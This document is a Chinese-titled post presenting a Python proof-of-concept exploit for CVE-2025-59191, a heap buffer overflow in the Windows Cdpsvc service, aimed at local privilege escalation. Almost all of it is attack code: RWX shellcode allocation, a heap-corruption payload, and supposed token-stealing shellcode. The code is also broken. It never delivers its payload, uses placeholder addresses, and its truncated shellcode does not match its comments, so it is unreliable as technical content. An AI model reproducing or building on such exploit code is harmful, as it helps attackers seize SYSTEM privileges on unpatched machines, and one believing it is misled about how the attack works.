Windows Cdpsvc服务堆缓冲区溢出导致本地权限提升漏洞

# CVE-2025-59191 - Windows Cdpsvc Heap-based Buffer Overflow PoC # This is a conceptual PoC demonstrating the exploitation of heap buffer overflow # in Connected Devices Platform Service (Cdpsvc) for local privilege escalation. # Tested on: Windows 10/11 (unpatched versions) # WARNING: For educational and authorized testing purposes only. import ctypes import struct import sys import os from ctypes import wintypes # Windows API constants PROCESS_ALL_ACCESS = 0x1F0FFF MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 # Offset to overwrite for heap metadata corruption HEAP_OVERFLOW_OFFSET = 0x800 # Overflow buffer by 2048 bytes class CdpsvcExploit: def __init__(self): self.kernel32 = ctypes.windll.kernel32 self.ntdll = ctypes.windll.ntdll self.target_pid = None self.shellcode_address = None def find_cdpsvc_process(self): """Locate the Cdpsvc process running with SYSTEM privileges""" import subprocess result = subprocess.run( ['tasklist', '/FI', 'IMAGENAME eq Cdpsvc.exe'], capture_output=True, text=True ) # Parse output to find PID for line in result.stdout.split('\n'): if 'Cdpsvc.exe' in line: parts = line.split() self.target_pid = int(parts[1]) return True return False def allocate_shellcode_buffer(self, shellcode): """Allocate RWX memory for shellcode""" buf = self.kernel32.VirtualAlloc( None, len(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ) ctypes.memmove(buf, shellcode, len(shellcode)) self.shellcode_address = buf return buf def craft_malicious_payload(self): """Craft the heap overflow payload""" # Normal buffer size expected by Cdpsvc normal_buffer_size = 0x400 # Overflow data - corrupt heap metadata overflow_data = b"\x00" * normal_buffer_size # Corrupt heap chunk header overflow_data += struct.pack("<Q", 0x4141414141414141) # Flink overflow_data += struct.pack("<Q", 0x4242424242424242) # Blink # ROP chain / shellcode address if self.shellcode_address: overflow_data += struct.pack("<Q", self.shellcode_address) else: overflow_data += struct.pack("<Q", 0xDEADBEEFCAFEBABE) # Padding to extend overflow overflow_data += b"\xCC" * HEAP_OVERFLOW_OFFSET return overflow_data def trigger_vulnerability(self): """Trigger the heap buffer overflow in Cdpsvc""" # Open handle to Cdpsvc service # This would normally use Windows APIs to communicate with the service # via RPC or shared memory mechanisms advapi32 = ctypes.windll.advapi32 scm = advapi32.OpenSCManagerW(None, None, 0x0003) if scm: service = advapi32.OpenServiceW( scm, "CDPUserSvc", PROCESS_ALL_ACCESS ) if service: # Send malicious payload to trigger overflow payload = self.craft_malicious_payload() # Note: Actual exploitation requires reverse engineering # the Cdpsvc RPC interface to craft valid protocol messages print(f"[*] Sending {len(payload)} byte payload to Cdpsvc") print(f"[*] Target PID: {self.target_pid}") print(f"[*] Shellcode at: {hex(self.shellcode_address) if self.shellcode_address else 'N/A'}") def privilege_escalation_shellcode(self): """Shellcode to escalate to SYSTEM and spawn elevated process""" # Token stealing shellcode (x64) # This shellcode would: # 1. Locate the SYSTEM process EPROCESS # 2. Copy its token to current process # 3. Return to execute as SYSTEM shellcode = ( b"\x48\x31\xc0" # xor rax, rax b"\x65\x48\x8b\x58\x30" # mov rbx, gs:[rax+0x30] ; PEB b"\x48\x8b\x5b\x10" # mov rbx, [rbx+0x10] ; ProcessEnv b"\x48\x8b\x5b\x28" # mov rbx, [rbx+0x28] ; ProcessParameters # ... (truncated for brevity) b"\x48\x31\xc0" # xor rax, rax b"\xb0\x01" # mov al, 1 b"\xc3" # ret ) return shellcode def run(self): print("[*] CVE-2025-59191 - Cdpsvc Heap Overflow Exploit") print("[*] Searching for Cdpsvc process...") if not self.find_cdpsvc_process(): print("[-] Cdpsvc process not found") return False print(f"[+] Found Cdpsvc PID: {self.target_pid}") shellcode = self.privilege_escalation_shellcode() self.allocate_shellcode_buffer(shellcode) print("[*] Triggering vulnerability...") self.trigger_vulnerability() print("[+] Exploit completed - check privileges") return True if __name__ == "__main__": if os.name != 'nt': print("[-] This exploit requires Windows") sys.exit(1) exploit = CdpsvcExploit() exploit.run()